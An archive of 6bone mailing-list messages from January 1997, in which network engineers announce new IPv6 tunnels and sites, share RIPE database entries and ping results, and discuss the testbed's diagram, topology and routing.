From majordom@ISI.EDU  Wed Jan 15 04:02:16 1997
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: last chance at the 6bone WG charter, goals and milestones 
In-Reply-To: Your message of "Tue, 14 Jan 97 09:02:27 PST."
             <v03007805af015d94d515@[128.3.9.22]> 
Date: Wed, 15 Jan 97 09:02:16 -0500
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Bob,

Silence on my part anyway was I think you got it right.

Should have acked you.

p.s. we do need a way a.s.a.p. to add all the nodes added since the last
update of the map...It shows the IETF and market how fast this is
growing.  Which I think is important.....to IPv6 momentum.

thanks
/jim

From majordom@ISI.EDU  Wed Jan 15 22:57:38 1997
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References: Your message of "Tue, 14 Jan 97 09:02:27 PST."            
 <v03007805af015d94d515@[128.3.9.22]>
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Date: Thu, 16 Jan 1997 06:57:38 -0800
To: bound@zk3.dec.com
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: last chance at the 6bone WG charter, goals and milestones
Cc: 6bone@ISI.EDU (6BONE Mailer)
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Jim,

At 6:02 AM -0800 1/15/97, bound@ZK3.DEC.COM wrote:
...
>Silence on my part anyway was I think you got it right.

Thanks.


>p.s. we do need a way a.s.a.p. to add all the nodes added since the last
>update of the map...It shows the IETF and market how fast this is
>growing.  Which I think is important.....to IPv6 momentum.

I'm close to done with a redraw which I think does the stuff you want, but
will be controversial given the way I'm choosing to draw the info and
decisions I'm making.  But I'll post it to the web site and send email to
the list today or tomorrow so you can see it and comment.


Thanks,

Bob



From majordom@ISI.EDU  Thu Jan 16 01:43:27 1997
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Date: Thu, 16 Jan 1997 09:43:27 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: a new 6bone diagram
Sender: owner-6bone@ISI.EDU
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Status: RO

I've finished my draft attempt at a new 6bone diagram.  But before you rush
off to look, let me tell you what the rationale for it is.

I've recognized that this is a "sales" diagram as much as it is useful
info.  But there is a limit on what I can and should represent with it.  So
I have chosen to show only a primary connection from a site to the 6bone.
Thus in some (many) cases I've had to guess what a sites primary path is,
and you will need to help me get it right.  At least this way the site gets
to appear on a diagram and I can rationally draw it!

Also, I've attempted to start the topology discussion by using Alain
Durand's three level hierarchy to express the topology:  core backbone
routers, second tier transit routers and leaf routers (for node sites not
doing transit).

Last, I've specifically NOT shown interconnectivity of the "core backbone
routers" as it changes, is too messy to draw, and doesn't tell people what
they need to know.

So for what it's worth, here it is.

	http://www-6bone.lbl.gov/6bone/6bone-newdrawing.GIF


After a few days of comments, and we decide to use it, I'll add in the hot
buttons to the RIPE-NCC entries on the names, and replace the current (now
out of date) diagram on the 6bone web pages.


So...please look and comment.


Thanks,

Bob



From majordom@ISI.EDU  Fri Jan 17 08:23:42 1997
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Date: Fri, 17 Jan 97 17:20:01 MET
From: Robert Watson <watson@ulysse.enet.dec.com>
To: "rlfink@lbl.gov"@vbormc.vbo.dec.com
Cc: "6bone@isi.edu"@vbormc.vbo.dec.com, watson@ulysse.enet.dec.com
Apparently-To: 6bone@isi.edu, rlfink@lbl.gov
Subject: RE: a new 6bone diagram
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    Hi Bob

> I've recognized that this is a "sales" diagram as much as it is useful
> info.  But there is a limit on what I can and should represent with it.  

    As a "sales diagram" for IPv6 this map down plays the size
    of the 6bone, but I don't see how it could continue to grow as it was.

    So maybe it's time to split it into regions (e.g. Americas, 
    Europe/Afria, Asia Pacific etc) which will give new-comers a better
    impression of the world-wide interest in IPV6 (not just a US concern)
    and will help joining-sites to locate a suitable second tier transit
    router to connect to.

    This might also allow more detail to be added to the 
    core <-> Second level connectivity (which will help with problem 
    solving) and support the three-tier structure Alain was proposing.

    Bob

Robert (Bob) Watson			Robert.Watson@vbe.mts.dec.com
DIGITAL Equipment Corporation 		+33 (0)4.9295.9542
Centre Technique Europe, Sophia Antipolis France


From majordom@ISI.EDU  Fri Jan 17 01:19:50 1997
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Date: Fri, 17 Jan 1997 09:19:50 -0800
To: Robert Watson <watson@ulysse.enet.dec.com>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: RE: a new 6bone diagram
Cc: 6bone@isi.edu (6BONE Mailer)
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Robert,

At 8:20 AM -0800 1/17/97, Robert Watson wrote:
..
>> I've recognized that this is a "sales" diagram as much as it is useful
>> info.  But there is a limit on what I can and should represent with it.
>
>    As a "sales diagram" for IPv6 this map down plays the size
>    of the 6bone, but I don't see how it could continue to grow as it was.
>
>    So maybe it's time to split it into regions (e.g. Americas,
>    Europe/Afria, Asia Pacific etc) which will give new-comers a better
>    impression of the world-wide interest in IPV6 (not just a US concern)
>    and will help joining-sites to locate a suitable second tier transit
>    router to connect to.
>
>    This might also allow more detail to be added to the
>    core <-> Second level connectivity (which will help with problem
>    solving) and support the three-tier structure Alain was proposing.

Thanks for the comments.  I believe that we need to have much discussion on
the topology/routing/addressing of the 6bone and that the map will follow
this discussion.

In the interim, I want to keep to a single page diagram as long as possible
for simplicity sake.

Unfortunately, at this time, there are many out of region 6bone connections
that would be hard to diagram in a regionally based picture.  For example,
Korea, Taiwan, Singapore and other non-US locations are source out of NRL
and Cisco.  Though maybe I can be creative with some map background pointer
stuff -  will think about it.

It may be we should also have some other mechanism to show folk about
hooking up and how international we are, i.e., other pages than this.  Oh,
almost forgot, the NASA VRML-based pics already show the international
flavor by way of their regional and world globe pictures.


At any rate, I do need to get a picture up soon that reflects current state
of the 6bone.  I've received various positive comments about this form of
diagram, so will put it up in replacement of the out of date one early next
week.


Thanks,

Bob



From majordom@ISI.EDU  Fri Jan 17 01:48:55 1997
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Date: Fri, 17 Jan 1997 09:48:55 -0800
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: (IPng 2899) multiple 6bones - 6bone preference routing....
Cc: ipng@sunroof.eng.sun.com, 6bone@isi.edu (6BONE Mailer)
Sender: owner-6bone@ISI.EDU
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Jon,

At 1:20 AM -0800 1/17/97, Jon Crowcroft wrote:
>we just have started discussing a 6bone pilot in the UK academic
>network, and we had a nice presentation from some guys from Denmark
>(Martin Peck i think from telebit....) on their trial and
>implementation work, and the following question came up
>
>if we run multiple 6bone pilots with global connectivity, with
>multiple ipv4 legacy paths between them, can we _choose_ ingress and
>efgress to ipv4 and ipv6 clouds (i.e. is anyone doing BGP+ or BGP5 or
>whatever, path preference paramaters that allow an IPv4 net to export
>route choices that reflect IPv6 source and sink cloud
>requirements....?

Don't think we have other than static routes, RIPng and IDRPv6 between
various sites at this time.  I believe we are waiting on the outcome of the
Katz/Haskin et al BGP4 v6 extensions versus IDRPv6 discussions before BGP
comes into real use.

As far as ingress/egress to the existing 6bone, my opinion is that you
should connect as a "core backbone" site and establish connectivity and
peering with other backbone sites as you think it makes sense (it is all
still v6 over v4 tunnels).  That is, at the moment, choice of interconnect
is pretty wide open.  I have included my newest diagram of the 6bone which
may be of use to you:

	http://www-6bone.lbl.gov/6bone/6bone-newdrawing.GIF


>sorry if that isn't a clear expression of the requirement, but
>i'm not up to speed on SIP stuff....

Hope you guys hook up - it will be a great addition to the 6bone testbed!


Thanks,

Bob



From majordom@ISI.EDU  Sun Jan 19 07:01:50 1997
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Date: Sun, 19 Jan 1997 16:01:50 -0900 (AKST)
From: dewell@woods.net (Aaron Dewell)
To: 6bone@isi.edu
Subject: tunnel request
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[sent before from dewell@shirley.alaska.net - but dissapeared.]

I'd like to get a tunnel from someone nearby..  Internet Alaska
is multi-homed through UUnet (seattle), AT&T Alascom (->sprint -
chicago), and AGIS/net99 (seattle). 

IP address of this end:

middle.ip6.alaska.net
5f16:8b00:ce95:4e00:3:0:100:5855
206.149.78.19

I presume the route to me would be 5f16:8b00::/32.

Thank you to whomever.

P.S.  I'd prolly need the group password thingy too, to update
the RIPE db when it happens.

----------------------------------------------------------------------
Aaron Dewell		Sysadmin at Large	dewell@alaska.net
dewell@woods.net				dewell@eng.utah.edu


From majordom@ISI.EDU  Tue Jan 21 06:08:05 1997
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Date: Tue, 21 Jan 1997 11:08:05 -0500
Message-Id: <199701211608.LAA02984@sparky.IOL.UNH.EDU>
From: Quaizar Vohra <qv@sparky.iol.unh.edu>
To: ipng@sunroof.eng.sun.com
Cc: bound@zk3.dec.com, ipv6imp@munnari.OZ.AU, 6bone@ISI.EDU, rdr@cs.unh.edu,
        rdb@cs.unh.edu, mattyc@leonis.nus.sg, qv@iol.unh.edu,
        whl@whitec.sr.unh.edu, yunzhou@ee.nus.sg, scip4166@leonis.nus.org
Subject: Another IPv6 Implementation.
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Status: RO


Hi,

We at the University of New Hampshire would like to announce another
Public Domain Implementation for IPv6. It was started with an aim to
develop a 64 bit implementation for the public domain.  It has several
significant differences from existing IPv6 implementations.

It has been developed on NetBSD 1.2 running on Digital Alpha 64 bit
processor. It might also run over 32 bit architectures (though I have
not tested this, but it should not be a big problem). 

I have tested the implementation using the UNH InterOperabilty Labs. 
test suite and it interoperates with other implementations.

The code base is accessible at :

	ftp://sun4.iol.unh.edu/pub/ipv6

The packages can be accesses in gzipped or compressed form.

	unh-ipv6-kit-0.0.tar.gz	(for gunzip)
	unh-ipv6-kit-0.0.tar.Z	(for uncompress)

Some documentation is provided in the README and NOTES file about
the installation procedure and about features supported by this 
implementation.

Public Domain DHCPv6 code has also been written for this code base
by Yunzhou Li. This was announced a couple of weeks back.

If you have questions, suggestions etc., contact me at :
	qv@sun4.iol.unh.edu

For discussion of this implementation and associated problems, use
the IPv6 implementors list at :
	ipv6imp@munnari.oz.au

You can subscribe to it by sending a mail to :
	ipv6imp-request@munnari.oz.au

The release has a postscript file which has discusses this
implementation. It is unh-ipv6-proj.ps

I am very grateful to a bunch of people for this, who are :

Bill Lenharth at InterOperability Lab. (UNH)
Jim Bound (Digital Equipment Corp.)
Prof. Robert D. Russell (UNH)
Yunzhou Li (NUS)
Digital Alpha DUNIX IPv6 Team

A special thanks goes to the NetBSD community and IETF.

Sincerely,
Quaizar  

------------------------------------------------------------------------
Quaizar Vohra
InterOperabilty Lab. (UNH)
(603)-862-0090
qv@sun4.iol.unh.edu


From majordom@ISI.EDU  Tue Jan 21 16:44:48 1997
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Date: Tue, 21 Jan 1997 21:44:48 -0500 (EST)
From: "Dorian R. Kim" <dorian@cic.net>
Reply-To: "Dorian R. Kim" <dorian@cic.net>
To: 6bone@ISI.EDU
Subject: New site
Message-Id: <Pine.GSO.3.95.970121212110.3933F-100000@nic.hq.cic.net>
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CICNet has connected to 6bone.

We've set up tunnels to CISCO, NRL and UOregon today. Many thanks to Ran,
Ron and Dave.

Routing is being done with RIPng to all three sites, and we are using a cisco.

site:           CICNet primary AS
location:       Downers Grove, Illinois , USA
prefix:         5F04:C900::/32
ping:           5F04:C900:8367:0100:0001::0C8E:50C2 6bone.chicago.cic.net
tunnel:         131.103.1.54 192.31.7.104 CISCO - RIPng - operational
tunnel:         131.103.1.54 132.250.90.3 NRL - RIPng - operational
tunnel:         131.103.1.54 128.223.222.11 UOregon - RIPng - operational
contact:        Dorian Kim <dorian@cic.net>
contact:        CICNet Network Systems <ns@cic.net>
status:         operational since 1/21/97
remark:         6bone.chicago.cic.net is a transit only tunnel fanout box 
ermark:         6bone.chicago.cic.net is a cisco 2501
remark:         happy to add new tunnels upon request.
remark:         please report any problems to contact above.
changed:        dorian@cic.net 970121
source:         RIPE

Here's ping results from 6bone.chicago.cic.net to 6bone-router.cisco.com

6bone#ping ipv6 5f00:6d00:c01f:0700:0001:0060:3e11:6770

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F00:6D00:C01F:0700:0001:0060:3E11:6770,
timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 112/116/120 ms

Here's one to NRL

6bone#ping ipv6 5F00:3000:84FA:5A00::0003

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F00:3000:84FA:5A00::0003, timeout is 2
seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 40/43/44 ms

-dorian
______________________________________________________________________________
 Dorian Kim 		  Email: dorian@cic.net		2901 Hubbard Street
 Senior Network Engineer  Phone: (313)998-6976		Ann Arbor MI 48105
 CICNet Network Systems	  Fax:   (313)998-6105      http://www.cic.net/~dorian










From majordom@ISI.EDU  Tue Jan 21 10:55:20 1997
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Date: Tue, 21 Jan 1997 18:55:20 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone web page stuff
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various changes:

1.  new 6bone diagram is up - PLEASE TELL ME WHERE THE ERRORS ARE!

2.  a tool page with the G6 route tool and Ben Kirkpatrick's v6 address
generation tool.

3.  San Jose 6bone minutes now accessible on minutes web page.

4.  6bone WG charter now accessiable on the "What is the 6bone" page.


Thanks,

Bob



From majordom@ISI.EDU  Wed Jan 22 12:53:26 1997
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Date: Wed, 22 Jan 1997 11:53:26 +0100
From: Guardini Ivano <Ivano.Guardini@cselt.stet.it>
Subject: New tunnel from CSELT
To: "'6bone@isi.edu'" <6bone@isi.edu>
Message-Id: <c=IT%a=_%p=CSELT%l=XRR1-970122105326Z-8404@xrr1.cselt.stet.it>
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Hi,

there is one new tunnel between CSELT and ESNET.

            CSELT <-----> ESNET

I have updated CSELT RIPE database entry:

site:           CSELT (Centro Studi E Laboratori Telecomunicazioni)
location:       Torino, ITALY
loc-string:     45 03 52.2n 07 39 43.2e 250m
prefix:         5f16:4d00::/32
ping:           5f16:4d00:a3a2:1100:11:800:2071:d812
tunnel:         163.162.17.77 129.88.26.1    G6
tunnel:         163.162.17.77 193.10.66.50   SICS
tunnel:         163.162.17.77 198.128.2.27   ESNET
tunnel:         163.162.17.77 130.192.26.254 POLITO
tunnel:         163.162.252.4 131.175.5.37   CEFRIEL
contact:        Ivano Guardini <ivano.guardini@cselt.stet.it>
status:         operational since December 4, 1996
remark:         Sun SPARC STATION 20, IPv6 for Solaris 2.5
changed:        ivano.guardini@cselt.stet.it 19970122
source:         RIPE

Here is ping from CSELT to ESNET:

root@carmen:/usr/ipv6/sbin#>./ping -s esnet-v6
PING esnet-v6: 56 data bytes
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=0. time=489
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=1. time=448
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=2. time=446
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=3. time=469
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=4. time=483
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=5. time=425
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=6. time=448
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=7. time=420
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=8. time=424
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=9. time=442
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=10. time=495
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=11. time=465
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=12. time=483
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=13. time=505
ms
104 bytes from 5f01:2500:c680:200:0:800:2bbc:f1ec: icmp_seq=14. time=407
ms

----esnet-v6 PING Statistics----
15 packets transmitted, 15 packets received, 0% packet loss
round-trip (ms)  min/avg/max = 407/456/505

        Bye

               Ivano
---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
e-mail: ivano.guardini@cselt.stet.it
---------------------------------------------------


From majordom@ISI.EDU  Wed Jan 22 15:49:45 1997
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Date: Wed, 22 Jan 1997 14:49:45 +0100
From: Guardini Ivano <Ivano.Guardini@cselt.stet.it>
Subject: Routing toward CSELT/IT
To: "'6bone@isi.edu'" <6bone@isi.edu>
Message-Id: <c=IT%a=_%p=CSELT%l=XRR1-970122134945Z-8731@xrr1.cselt.stet.it>
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Hi,

I'm Ivano Guardini from CSELT/IT. Now CSELT has three tunnels with three
6Bone backbone sites:

               CSELT <----------------> G6
                          <----------------> SICS
                          <----------------> ESNET

We use these tunnels (and not the tunnel with POLITO) for the routing of
the 6Bone traffic. 
We also have other tunnels with other italian 6Bone sites (POLITO/IT and
CEFRIEL/IT) but we route through these tunnels only the italian 6Bone
traffic (I mean that we route through the tunnel between CSELT and
POLITO only the 6Bone traffic with a destination inside POLITO and
through the tunnel between CSELT and CEFRIEL only the 6Bone traffic with
a destination inside CEFRIEL).

I observed that I receive the reply to most of my ICMP Echo Requests
from the tunnel with POLITO. This is not the best path!

Please route all the traffic toward CSELT through G6, ESNET or SICS!!!!

           Bye
                        Ivano


---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
e-mail: ivano.guardini@cselt.stet.it
---------------------------------------------------


From majordom@ISI.EDU  Wed Jan 22 06:21:26 1997
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From: Wei.Li@mars.process.com (Li, Wei)
To: 6bone@isi.edu ('6bone@isi.edu')
Message-Id: <1997Jan22.104700.1063.642901@mars.process.com>
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Organization: Process Software Corporation
Date: Wed, 22 Jan 1997 11:21:26 -0500
Subject: new tunnel from Process Software Corpora
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Status: RO


Process Software has connected to 6bone via Digital-CA.
Many thanks to Stephan Stuart at Network Systems Laboratory,
Digital Equipment Corporation.

I have updated PSC RIPE database entry:

site:         Process Software Corporation
location:     959 Concord Street, Framingham, MA 01701
loc-string:   42 18 20n 71 25 0w 30m
prefix:       5F02:3000:C673:8E00::/80
ping:         5F02:3000:C673:8E00::800:2BE2:844F
tunnel:       198.115.142.134 204.123.2.236 DIGITAL-CA/US
tunnel-v4:    friar.process.com (198.115.142.134)
contact:      David Low <low@process.com>
status:       operational
remark:       please report any problems to contact above
changed:      Wei Li <li@process.com> 19970120
source:       RIPE

Here is ping from PSC to Digital/CA
borachio# ./ping 5f00:2100:cc7b:0:12:800:2be4:b5cc
PING 5f00:2100:cc7b:0:12:800:2be4:b5cc   
(5f00:2100:cc7b:0:12:800:2be4:b5cc): 56 d
ata bytes
64 bytes from 5f00:2100:cc7b:0:12:800:2be4:b5cc: icmp_seq=0 ttl=63   
time=154.821
ms
64 bytes from 5f00:2100:cc7b:0:12:800:2be4:b5cc: icmp_seq=1 ttl=63   
time=148.313
ms
64 bytes from 5f00:2100:cc7b:0:12:800:2be4:b5cc: icmp_seq=2 ttl=63   
time=227.099
ms
64 bytes from 5f00:2100:cc7b:0:12:800:2be4:b5cc: icmp_seq=3 ttl=63   
time=104.503
ms
64 bytes from 5f00:2100:cc7b:0:12:800:2be4:b5cc: icmp_seq=4 ttl=63   
time=123.221
ms
^C
 --- 5f00:2100:cc7b:0:12:800:2be4:b5cc ping statistics ---
6 packets transmitted, 5 packets received, 16% packet loss
round-trip min/avg/max = 104.503/151.591/227.099 ms


ping from PSC to UNH:
borachio# ./ping 5f02:3000:84b1:7600::800:912:241a
PING 5f02:3000:84b1:7600::800:912:241a   
(5f02:3000:84b1:7600:0:800:912:241a): 56
data bytes
64 bytes from 5f02:3000:84b1:7600:0:800:912:241a: icmp_seq=0 ttl=252   
time=282.70
2 ms
64 bytes from 5f02:3000:84b1:7600:0:800:912:241a: icmp_seq=1 ttl=252   
time=240.72
1 ms
64 bytes from 5f02:3000:84b1:7600:0:800:912:241a: icmp_seq=3 ttl=252   
time=153.77
 ms
64 bytes from 5f02:3000:84b1:7600:0:800:912:241a: icmp_seq=4 ttl=252   
time=115.24
3 ms
64 bytes from 5f02:3000:84b1:7600:0:800:912:241a: icmp_seq=5 ttl=252   
time=109.07
3 ms
^C
 --- 5f02:3000:84b1:7600::800:912:241a ping statistics ---
6 packets transmitted, 5 packets received, 16% packet loss
round-trip min/avg/max = 109.073/180.301/282.702 ms

/wei


From majordom@ISI.EDU  Wed Jan 22 05:09:48 1997
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Date: Wed, 22 Jan 1997 16:09:48 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <199701222109.QAA26428@pobox.engeast.BayNetworks.COM>
To: 6bone@isi.edu
Subject: new tunnel
Sender: owner-6bone@ISI.EDU
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Status: RO


Hi,

There is a new 6bone tunnel between a Bay Networks' router in
Massachusetts and a Bay's router in Santa Clara, California:

Site:          Bay Networks - CA, USA
location:      Santa Clara, California, USA
prefix:        5F02:3000:C020:AE00:B180::/80
ping:          5F02:3000:C020:AE00:B180::0001
ping:          5F02:3000:C020:AE00:B180:0000:86B1:804B
tunnel:        134.177.128.75 192.32.29.62 BAY-MA, USA, RIPng
contact:       Demetrios Coulis <dcoulis@baynetworks.com>
status:        operational since January 1997
remark:        platform: ASN 
remark:        will add new tunnels upon request 
remark:        carries all 6-bone routes 
remark:        please report any problems to contacts above 
changed:       dhaskin@baynetworks.com 970120
source:        RIPE

------------------------------------------

ping -ip6 5F02:3000:C020:AE00:B180::0001 -v -r5
16 bytes from (5F02:3000:C020:AE00:B180::0001) via If 4: icmp_seq=0, time= 101 ms
16 bytes from (5F02:3000:C020:AE00:B180::0001) via If 4: icmp_seq=1, time= 93 ms
16 bytes from (5F02:3000:C020:AE00:B180::0001) via If 4: icmp_seq=2, time= 1 ms
16 bytes from (5F02:3000:C020:AE00:B180::0001) via If 4: icmp_seq=3, time= 93 ms
16 bytes from (5F02:3000:C020:AE00:B180::0001) via If 4: icmp_seq=4, time= 93 ms


---- IPV6 PING Statistics----
IPV6 ping: [5F02:3000:C020:AE00:B180::0001] responded to 5 out of 5: 100% success.
round-trip (ms) min/avg/max = 1/76/101


Dimitry

From majordom@ISI.EDU  Wed Jan 22 12:36:10 1997
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Date: Wed, 22 Jan 1997 17:36:10 -0500 (EST)
From: "Dorian R. Kim" <dorian@cic.net>
Reply-To: "Dorian R. Kim" <dorian@cic.net>
To: "6bone@isi.edu" <6bone@ISI.EDU>
Subject: New tunnel CICNet <-> Merit
In-Reply-To: <c=IT%a=_%p=CSELT%l=XRR1-970122105326Z-8404@xrr1.cselt.stet.it>
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There is now a tunnel between CICNet and Merit.

Updated RR entry:

site:           CICNet primary AS
location:       Downers Grove, Illinois , USA
prefix:         5F04:C900::/32
ping:           5F04:C900:8367:0100:0001::0C8E:50C2 6bone.chicago.cic.net
tunnel:         131.103.1.54 192.31.7.104 CISCO - RIPng - operational
tunnel:         131.103.1.54 132.250.90.3 NRL - RIPng - operational
tunnel:         131.103.1.54 128.223.222.11 UOregon - RIPng - operational
tunnel:         131.103.1.54 198.108.60.153 MERIT - RIPng - operational
contact:        Dorian Kim <dorian@cic.net>
contact:        CICNet Network Systems <ns@cic.net>
status:         operational since 1/21/97
remark:         6bone.chicago.cic.net is a transit only tunnel fanout box
ermark:         6bone.chicago.cic.net is a cisco 2501
remark:         happy to add new tunnels upon request.
remark:         please report any problems to contact above.
changed:        dorian@cic.net 970122
source:         RIPE

ping results:

6bone#ping ipv6 merit
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F00:ED00:C66C:3C00::0153, timeout is 2
seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 36/99/164 ms

6bone#traceroute ipv6 merit
Type escape sequence to abort.
Tracing the route to merit (5F00:ED00:C66C:3C00::0153)

  1 merit (5F00:ED00:C66C:3C00::0153) 40 msec 40 msec 36 msec

-dorian



From majordom@ISI.EDU  Wed Jan 22 09:27:00 1997
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From: "Chiu, Phil" <CHIUP@itg.viacom.com>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: 6bone attachment
Date: Wed, 22 Jan 97 17:27:00 PST
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I am from Viacom International and we use UUNET as the ISP.   Currently   
they do not have any plans for 6bone.  Is there someone who uses UUNET   
but also has 6bone connectivity?  Who's tunnel are you using and how are   
you getting there?

Also, I reside in NYC.

Thanks.  

From majordom@ISI.EDU  Wed Jan 22 07:28:25 1997
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From: rja@cisco.com (Ran Atkinson)
Date: Wed, 22 Jan 1997 15:28:25 PST
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To: 6bone@isi.edu
Subject: Changes at CISCO's 6bone-router
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	There have been various changes at cisco's 6bone-router recently.
This note summarises these to the list.  Cisco's RIPE database entry was just
updated accordingly.

	MERIT has moved their IPv6 tunnel from CISCO to CICnet in order to
cleanup the 6bone topology a bit now that CICnet is up and running.  Both
MERIT and CICnet are located in Ann Arbor and their internal connectivity is
much shorter than the prior MERIT--CISCO path.

	Similarly, SUMITOMO-US will be relocating their tunnel from CISCO to
DIGITAL-CA in the near future because DIGITAL-CA is fewer hops and because
DIGITAL-CA is already the upstream node from SUMITOMO-JP.  This also will tend
to clean up the 6bone topology a bit.

	The tunnel between G6 and CISCO has never worked well and has always
had very high rates of packet loss (possibly related to congestion on the
US--France IP links).  Hence that tunnel's prior designation as
"experimental".  The CISCO-G6 tunnel has now been taken down and no longer
exists.  The preferred path between CISCO and G6 is to transit NRL, based on
experimental measurements indicating that path works very reliably and with a
fine RTT.
	
	Over the past couple of months I have observed that some of the RIPng
updates received by CISCO have contained advertisements that were incorrect
and tended to cause routing loops.  While there are many ways that routing
loops might occur, one common issue might be related to redistributing local
static routes into RIPng for sites that are more than one hop away.  I would
like to encourage each site running RIPng or IDRP or any other routing
protocol to double-check their configuration to make sure that they aren't
initiating (as different from the usual retransmission of received
advertisements) advertisements for nodes that they can't actually reach or
that are more than one hop away.  One could postulate that some of the
connectivity issues shown on the various 6bone statistics web pages might be
due to routing loops of one sort or another.

	I would also like to encourage folks to give thought to how the 6bone
topology might be cleaned up in their neck of the woods.  Dorian has observed
that it would be nice if the 6bone topology reflected the underlying IPv4
topology.  I concur with this assessment.

Ran
rja@cisco.com



-- 

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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <970123194407.ZM3216@rama.imag.fr>
Date: Thu, 23 Jan 1997 19:44:07 +0100
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To: 6bone@ISI.EDU
Subject: G6, new topology & routing policy
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Hi.

I have change the topology of my IPv6 testbed and or routing  policy.
I hope this might help the discussion on the restructuration of the 6-bone.

We are now using two routers as tunnel entry points
 One is our regular sun (6bone-gw.ipv6.imag.fr/129.88.26.1)
with netbsd/inria code.
The other one is a digital router (6bone-core.ipv6.imag.fr/129.88.26.2).

The goal is to somehow split core routing from leaf access. In the migration
process, 6bone-gw will be use for regular, non-RIPng tunnels and 6bone-core
will be used for RIPng ones. 6bone-core will advertize routes for sites I have
direct non-RIPng tunnels to via 6bone-gw. I hope this 2 routers scheme will
help me to select the routes I want to advertize with RIPng.

Just to fuel the discussion, here are some details about G6 tunnels.

Non rip-ng tunnels readvertized through RIPng via 6bone-core:
WIDE/jp, UNI-C/dk, UL/pt, UNH/us, JOGUNET/de, SICS/se, COSY/at , ERA/se,
NRL/us, SUMITOM/jp and CSELT/it

RIPng tunnels:
BAY/us, DIGITAL-ETC/fr, DIGITAL-CA/us & DIGITAL-BE/be

Some non RIPng tunnels will be replaced shortly by core RIPng ones.

If we reorganize the 6-bone in a geographical approach, I realize
I should not annouce some sites and maybe I should dig some new tunnels
with other european sites.

I would like to get some comments: is a geographical approach a good thing?
will it (or should it) map the underlaying IPv4 networks?

I think this is an important point in this discussion.

	- Alain.

From majordom@ISI.EDU  Thu Jan 23 10:03:17 1997
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Date: Thu, 23 Jan 1997 15:03:17 -0500 (EST)
From: "Dorian R. Kim" <dorian@cic.net>
To: 6bone@isi.edu
Subject: request
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It looks like some sites around 6bone hasn't discovered our existance yet.
Could folks that this apply to add a route to 5F04:C900::/32? 

Here's topology info.

tunnel:         131.103.1.54 192.31.7.104 CISCO - RIPng - operational
tunnel:         131.103.1.54 132.250.90.3 NRL - RIPng - operational
tunnel:         131.103.1.54 128.223.222.11 UOregon - RIPng - operational
tunnel:         131.103.1.54 198.108.60.153 MERIT - RIPng - operational


-dorian


From majordom@ISI.EDU  Thu Jan 23 10:06:16 1997
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From: "Dorian R. Kim" <dorian@cic.net>
To: Alain Durand <Alain.Durand@imag.fr>
Cc: 6bone@ISI.EDU
Subject: Re: G6, new topology & routing policy
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On Thu, 23 Jan 1997, Alain Durand wrote:

> I would like to get some comments: is a geographical approach a good thing?
> will it (or should it) map the underlaying IPv4 networks?

I personally think we should map it as closely as possible to underlaying IPv4
networks, modulo non-participants.

Doing this probably heads off alot of headaches down the road.

-dorian


From majordom@ISI.EDU  Fri Jan 24 20:33:46 1997
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Subject: weird RIP prefix: 5f00::/16
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Hi

I'm getting the prefix 5f00::/16 in a RIP announce.
I do not understand this preffix. Is it a bug somewhere
or do I miss something?

Another question is: should a default route or a 5f00::/8 route
be advertised by someone? If yes by who?

I personnaly tend to think that such routes should not be advertised.

opinions?

	- Alain.

From majordom@ISI.EDU  Fri Jan 24 02:18:54 1997
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From: Doug Junkins <junkins@nwnet.net>
To: "Dorian R. Kim" <dorian@cic.net>
Cc: Alain Durand <Alain.Durand@imag.fr>, 6bone@ISI.EDU
Subject: Re: G6, new topology & routing policy
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Dorian,

I brought up our 6Bone site in December with just such a goal -- two of
our customers are 6Bone participants with more interested in the 6Bone. 
We hope to provide a 6Bone infrastructure on top of our IPv4 network for
our customers (and any others interested participants that are
topologically close).  Now if I could just get time to do it ;-).

- Doug

 /  Douglas A. Junkins    |   Network Engineering        \
/   Network Engineer      |   NorthWestNet                \
\   junkins@nwnet.net     |   Bellevue, Washington, USA   /
 \  (206)649-7419         |                              /

On Thu, 23 Jan 1997, Dorian R. Kim wrote:

> On Thu, 23 Jan 1997, Alain Durand wrote:
> 
> > I would like to get some comments: is a geographical approach a good thing?
